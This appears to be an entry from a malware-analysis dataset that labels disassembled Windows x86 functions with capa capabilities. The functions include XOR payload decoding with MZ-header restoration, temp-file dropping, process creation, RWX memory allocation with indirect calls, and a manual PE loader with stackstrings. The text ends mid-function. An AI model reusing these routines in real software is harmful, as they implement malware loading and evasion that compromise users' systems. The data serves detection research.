joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4071cd
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [0x41607c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x218], ax
push 0x20a
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.0040ee6d
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x4072cb
xor eax, eax
mov word [ebp - 0x428], ax
push 0x208
push 0
lea ecx, [ebp - 0x426]
push ecx
call fcn.0040ee6d
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x1d7
push 0x4112c4
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x4072cb
push 0
push 0x100
push 2
push 0
push 1
push 0x10000000
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0xffffffff
je 0x4072cb
lea edx, [ebp - 0x440]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [ebp - 0x430], 0
push 0
lea eax, [ebp - 0x430]
push eax
push 0x10
lea ecx, [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b13
mov esp, ebp
pop ebp
ret
Function at 0x407be8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
push edi
lea edi, [edx + eax + 0x28]
xor edx, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
cmp dx, word [eax + 6]
jae 0x407d09
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
jmp 0x407c22
mov ecx, dword [ebp - 8]
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x407c69
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x10], eax
test eax, eax
jle 0x407cec
mov edx, dword [edi - 4]
push 0x40
push 0x1000
push eax
add edx, ecx
push edx
lea esi, [ebp - 0xc]
call fcn.0040fff6
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
push ecx
push 0
push eax
mov dword [edi - 8], eax
call fcn.0040ee6d
jmp 0x407ce9
mov esi, dword [edi - 4]
push 0
push 0
push 0x1f0003
add esi, ecx
call dword [sym.imp.KERNEL32.dll_OpenEventA]
push 1
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.USER32.dll_GetCursor]
push 8
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 5
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
mov edx, dword [ebp - 0x10]
push 0x40
push 0x1000
push edx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [edi + 4]
add ecx, dword [ebp + 8]
mov esi, eax
mov eax, dword [edi]
push eax
push ecx
push esi
call fcn.0040da19
mov dword [edi - 8], esi
add esp, 0xc
mov edx, dword [ebp + 0x10]
mov ecx, dword [edx]
mov eax, dword [ebp - 4]
movzx edx, word [ecx + 6]
inc eax
add edi, 0x28
mov dword [ebp - 4], eax
cmp eax, edx
jl 0x407c1f
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40829c
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409b47
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x41607c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, dword [ebp + 8]
push ebx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], ebx
call fcn.0040516e
push eax
call fcn.0041046d
add esp, 8
push ebx
xor eax, eax
push 0x104
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x2c], ax
call fcn.004079f2
cmp dword [ebp - 0x18], 8
mov edi, dword [ebp - 0x2c]
jae 0x40830e
lea edi, [ebp - 0x2c]
xor eax, eax
movzx edx, ax
mov eax, edx
shl edx, 0x10
or eax, edx
mov ecx, 0x82
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x2c]
mov edi, 8
mov dword [ebp - 0x1c], 0x104
cmp dword [ebp - 0x18], edi
jae 0x408338
lea eax, [ebp - 0x2c]
xor ecx, ecx
mov word [eax + 0x208], cx
mov eax, 1
mov dword [ebp - 4], eax
xor edx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], ebx
mov word [esi], dx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0x104
jb 0x408376
push 0xffffffffffffffff
push 0x104
lea ecx, [ebp - 0x2c]
call fcn.00410484
jmp 0x408387
mov ecx, 0x104
sub ecx, eax
push ebx
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00407351
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], edi
jae 0x408392
lea eax, [ebp - 0x2c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, dword [ebp - 0x1c]
cmp eax, ecx
ja 0x4083b2
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x2c]
call fcn.00410484
jmp 0x4083be
sub eax, ecx
push ebx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00407351
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0xffffffffffffffff
push 0
lea edx, [ebp - 0x2c]
push edx
mov ecx, esi
call fcn.004034e8
call fcn.00407792
and eax, 0x80000007
jns 0x4083e4
dec eax
or eax, 0xfffffff8
inc eax
add eax, 0x12
je 0x40840c
mov edi, eax
nop
call fcn.00407792
cdq
mov ecx, 0x19
idiv ecx
mov ecx, esi
add edx, 0x41
movzx eax, dx
push eax
push 1
call fcn.00407351
dec edi
jne 0x4083ec
push 0
mov ecx, esi
call fcn.0040eb2d
push eax
call ebx
cmp eax, 0xb7
je 0x4083c4
mov byte [ebp - 4], 0
cmp dword [ebp - 0x18], 8
jb 0x408435
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00401b22
add esp, 4
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401b13
mov esp, ebp
pop ebp
ret 4
Function at 0x40ceab
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x40
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.0040ee6d
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov edx, 8
add esp, 0xc
mov dword [ebp - 0x54], 0x44
mov word [ebp - 0x24], cx
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x10], ecx
cmp dword [eax + 0x14], edx
jb 0x40cef2
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x14], edx
jb 0x40cefc
mov ecx, dword [ecx]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x54]
push edx
push eax
push 0
push 0x8000010
push 0
push 0
push 0
push 0x411304
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [ebp - 0x10]
push 0x1d4c0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esp, ebp
pop ebp
ret 8
Function at 0x40ecfc
Capabilities:
Delete file
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp dword [edi + 0x14], 8
mov esi, ecx
mov dword [ebp - 4], 0
jb 0x40ed19
mov eax, dword [edi]
jmp 0x40ed1b
mov eax, edi
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40ed43
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [esi + 4]
call fcn.0040a713
mov eax, dword [esi + 4]
mov edx, dword [esi + 8]
push 0
sub edx, eax
lea ecx, [ebp - 4]
push ecx
sub edx, 2
push edx
add eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [edi + 0x14], 8
jb 0x40ed74
mov edi, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 4]
push eax
lea ecx, [esi + 4]
call fcn.0040a713
mov ecx, dword [esi + 4]
mov byte [ecx], 0x4d
mov edx, dword [esi + 4]
mov eax, 2
mov byte [edx + 1], 0x5a
cmp dword [ebp - 4], eax
jbe 0x40edab
mov ecx, dword [esi + 4]
xor byte [ecx + eax], 0x37
inc eax
cmp eax, dword [ebp - 4]
jb 0x40ed9e
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x40f116
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0
push 0
push 1
call edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
neg eax
push eax
push 1
call edi
push 1
call dword [sym.imp.USER32.dll_GetSysColor]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
mov eax, esi
pop edi
pop ebp
ret 0xc
Function at 0x40fff6
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call edi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 1
call dword [sym.imp.USER32.dll_GetSysColor]
push 0x3bbe
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
call dword [sym.imp.USER32.dll_GetFocus]
push 0xffffffffffffffff
push 0
push 1
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call edi
push 0x13
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi], eax
mov eax, esi
pop edi
pop ebp
ret 0x10

Function at 0x410028
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call edi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 1
call dword [sym.imp.USER32.dll_GetSysColor]
push 0x3bbe
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
call dword [sym.imp.USER32.dll_GetFocus]
push 0xffffffffffffffff
push 0
push 1
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call edi
push 0x13
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi], eax
mov eax, esi
pop edi
pop ebp
ret 0x10
Function at 0x410058
Capabilities:
Check mutex on windows
Create or open mutex on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call edi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 1
call dword [sym.imp.USER32.dll_GetSysColor]
push 0x3bbe
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
call dword [sym.imp.USER32.dll_GetFocus]
push 0xffffffffffffffff
push 0
push 1
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call edi
push 0x13
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi], eax
mov eax, esi
pop edi
pop ebp
ret 0x10
Function at 0xa0fa92
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0x3c]
add eax, edx
add eax, 4
add eax, 0x14
lea eax, [eax + 0x60]
add eax, 8
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x118], 0x49
mov byte [ebp - 0x117], 0x6d
mov byte [ebp - 0x116], 0x70
mov byte [ebp - 0x115], 0x6f
mov byte [ebp - 0x114], 0x72
mov byte [ebp - 0x113], 0x74
mov byte [ebp - 0x112], 0x20
mov byte [ebp - 0x111], 0x54
mov byte [ebp - 0x110], 0x61
mov byte [ebp - 0x10f], 0x62
mov byte [ebp - 0x10e], 0x6c
mov byte [ebp - 0x10d], 0x65
mov byte [ebp - 0x10c], 0x3a
mov byte [ebp - 0x10b], 0
mov eax, 1
mov eax, 1
test eax, eax
je 0xa0fb67
lea esi, [ebp - 0x14]
mov ecx, 0x14
mov al, 0
mov byte [esi], al
inc esi
dec ecx
jne 0xa0fb31
mov ebx, dword [ebp - 0x18]
lea esi, [ebp - 0x14]
mov edi, ebx
mov ecx, 0x14
repe cmpsb byte [esi], byte es:[edi]
je 0xa0fb5d
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00a0fb71
test eax, eax
je 0xa0fb67
add ebx, 0x14
jmp 0xa0fb3a
popal
mov eax, 1
leave
ret 8
popal
mov eax, 0
leave
ret 8
Function at 0xa0fb71
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
pushal
mov eax, 1
test eax, eax
je 0xa0fddd
mov byte [ebp - 0x10c], 0x50
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x6f
mov byte [ebp - 0x109], 0x63
mov byte [ebp - 0x108], 0x65
mov byte [ebp - 0x107], 0x73
mov byte [ebp - 0x106], 0x73
mov byte [ebp - 0x105], 0x69
mov byte [ebp - 0x104], 0x6e
mov byte [ebp - 0x103], 0x67
mov byte [ebp - 0x102], 0x20
mov byte [ebp - 0x101], 0x49
mov byte [ebp - 0x100], 0x6d
mov byte [ebp - 0xff], 0x70
mov byte [ebp - 0xfe], 0x6f
mov byte [ebp - 0xfd], 0x72
mov byte [ebp - 0xfc], 0x74
mov byte [ebp - 0xfb], 0x20
mov byte [ebp - 0xfa], 0x44
mov byte [ebp - 0xf9], 0x69
mov byte [ebp - 0xf8], 0x72
mov byte [ebp - 0xf7], 0x65
mov byte [ebp - 0xf6], 0x63
mov byte [ebp - 0xf5], 0x74
mov byte [ebp - 0xf4], 0x6f
mov byte [ebp - 0xf3], 0x72
mov byte [ebp - 0xf2], 0x79
mov byte [ebp - 0xf1], 0x3a
mov byte [ebp - 0xf0], 0
mov eax, 1
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp + 0xc]
mov ebx, eax
mov eax, 1
test eax, eax
je 0xa0fddd
mov eax, 1
test eax, eax
je 0xa0fddd
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0xa0fddd
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x10]
add eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
sub ecx, ecx
mov eax, dword [ebp - 0xc]
add eax, ecx
mov eax, dword [eax]
test eax, eax
je 0xa0fdd3
mov ebx, eax
and eax, 0x80000000
jne 0xa0fd4a
mov byte [ebp - 0x10c], 0x4e
mov byte [ebp - 0x10b], 0x61
mov byte [ebp - 0x10a], 0x6d
mov byte [ebp - 0x109], 0x65
mov byte [ebp - 0x108], 0x3a
mov byte [ebp - 0x107], 0x20
mov byte [ebp - 0x106], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0xa0fddd
add ebx, dword [ebp + 0xc]
lea ebx, [ebx + 2]
mov eax, ebx
mov eax, 1
test eax, eax
je 0xa0fddd
mov eax, 1
test eax, eax
je 0xa0fddd
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0xa0fddd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0xa0fca5
mov byte [ebp - 0x10c], 0x4f
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x64
mov byte [ebp - 0x109], 0x69
mov byte [ebp - 0x108], 0x6e
mov byte [ebp - 0x107], 0x61
mov byte [ebp - 0x106], 0x6c
mov byte [ebp - 0x105], 0x3a
mov byte [ebp - 0x104], 0x20
mov byte [ebp - 0x103], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0xa0fddd
xor ebx, 0x80000000
mov eax, ebx
mov eax, 1
test eax, eax
je 0xa0fb67
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0xa0fddd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0xa0fca5
popal
mov eax, 1
leave
ret 0xc
popal
mov eax, 0
leave
ret 0xc
Function at 0xa0fe9d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov edx, dword [ebp + 0xc]
sub eax, eax
mov ax, word [edx + 2]
mov dword [ebp - 0x118], eax
add edx, 0x14
mov eax, dword [edx + 0x1c]
mov dword [ebp - 0x114], eax
mov eax, dword [edx + 0x38]
mov dword [ebp - 0x110], edx
lea edx, [ebp - 0xc]
mov ebx, dword [ebp + 8]
push edx
push 4
push eax
push dword [ebp - 0x114]
call dword [ebx + 0x24]
test eax, eax
je 0xa0ffee
mov byte [ebp - 0x10c], 0x53
mov byte [ebp - 0x10b], 0x65
mov byte [ebp - 0x10a], 0x74
mov byte [ebp - 0x109], 0x20
mov byte [ebp - 0x108], 0x49
mov byte [ebp - 0x107], 0x6d
mov byte [ebp - 0x106], 0x61
mov byte [ebp - 0x105], 0x67
mov byte [ebp - 0x104], 0x65
mov byte [ebp - 0x103], 0x20
mov byte [ebp - 0x102], 0x77
mov byte [ebp - 0x101], 0x72
mov byte [ebp - 0x100], 0x69
mov byte [ebp - 0xff], 0x74
mov byte [ebp - 0xfe], 0x61
mov byte [ebp - 0xfd], 0x62
mov byte [ebp - 0xfc], 0x6c
mov byte [ebp - 0xfb], 0x65
mov byte [ebp - 0xfa], 0x3a
mov byte [ebp - 0xf9], 0
mov eax, 1
mov eax, 1
test eax, eax
je 0xa0ffee
mov edx, dword [ebp - 0x110]
lea ebx, [edx + 0x60]
mov eax, dword [edx + 0x5c]
mov edx, 8
mul edx
add eax, ebx
mov dword [ebp - 8], eax
mov eax, 0x28
mov edx, dword [ebp - 0x118]
mul edx
add eax, dword [ebp - 8]
mov ebx, dword [ebp + 0x10]
sub eax, ebx
mov dword [ebp - 4], eax
mov edi, dword [ebp - 0x114]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x118]
mov ebx, dword [ebp - 8]
push dword [ebp + 0x10]
push dword [ebp - 0x114]
push ebx
push dword [ebp + 8]
call fcn.00a0fff8
test eax, eax
je 0xa0ffee
add ebx, 0x28
dec ecx
jne 0xa0ffc7
popal
mov eax, dword [ebp - 0x114]
leave
ret 0x10
popal
mov eax, 0
leave
ret 0x10

Function at 0xa1009e
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
pushal
mov edx, dword [ebp + 0xc]
mov ebx, dword [edx + 0x24]
and ebx, 0xe0000000
cmp ebx, 0xe0000000
jne 0xa100c9
mov eax, 0x40
mov dword [ebp - 0x108], eax
jmp 0xa1012e
mov ebx, dword [edx + 0x24]
and ebx, 0x60000000
cmp ebx, 0x60000000
jne 0xa100e7
mov eax, 0x20
mov dword [ebp - 0x108], eax
jmp 0xa1012e
mov ebx, dword [edx + 0x24]
and ebx, 0xc0000000
cmp ebx, 0xc0000000
jne 0xa10105
mov eax, 4
mov dword [ebp - 0x108], eax
jmp 0xa1012e
mov ebx, dword [edx + 0x24]
and ebx, 0x40000000
cmp ebx, 0x40000000
jne 0xa10123
mov eax, 2
mov dword [ebp - 0x108], eax
jmp 0xa1012e
mov eax, 1
mov dword [ebp - 0x108], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov ebx, dword [edx + 8]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x104]
push edx
push dword [ebp - 0x108]
push ebx
push eax
call dword [ecx + 0x24]
test eax, eax
je 0xa1016b
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov eax, 1
popal
mov eax, 1
leave
ret 0x10
popal
sub eax, eax
leave
ret 0x10
Function at 0xa10172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0xa101a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0xa101a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0xa10dff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.00a10f04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.00a10f20
push edx
push dword [ebp + 0x10]
push eax
call fcn.00a10eec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00a10f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00a10ecb
push ecx
push dword [ebp + 8]
call fcn.00a10f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00a10f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00a10ecb
push ecx
push dword [ebp + 8]
call fcn.00a10f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00a10f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00a10ecb
push ecx
push dword [ebp + 8]
call fcn.00a10f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00a10f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00a10ecb
cmp ecx, 0x2b
jne 0xa10e0f
leave
ret 0xc

Function at 0xa124b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0xa12544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x3054c0
push 0
call dword [eax + 0x20]
test eax, eax
je 0xa125d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x3054c0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x3054c0
call fcn.00a123fa
push 0x3054c0
push dword [ebp + 0xc]
call fcn.00a101a8
test eax, eax
jne 0xa125b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x3054c0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.00a125dd
test eax, eax
je 0xa125d6
jmp 0xa12574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0xa125d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0xa1260b
Capabilities:
Terminate process

Disassembly:
call fcn.00a12618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x402f74
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x459020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40300c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402fec
xor eax, eax
push ebp
push 0x402fe5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403028
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402fec
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x459020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x459020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403cd0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x45b048], 0
je 0x403d31
cmp word [0x45b21c], 0xd7b2
jne 0x403cf9
cmp dword [0x45b224], 0
jbe 0x403cf9
mov eax, 0x45b218
call dword [0x45b234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x45906c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d58
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
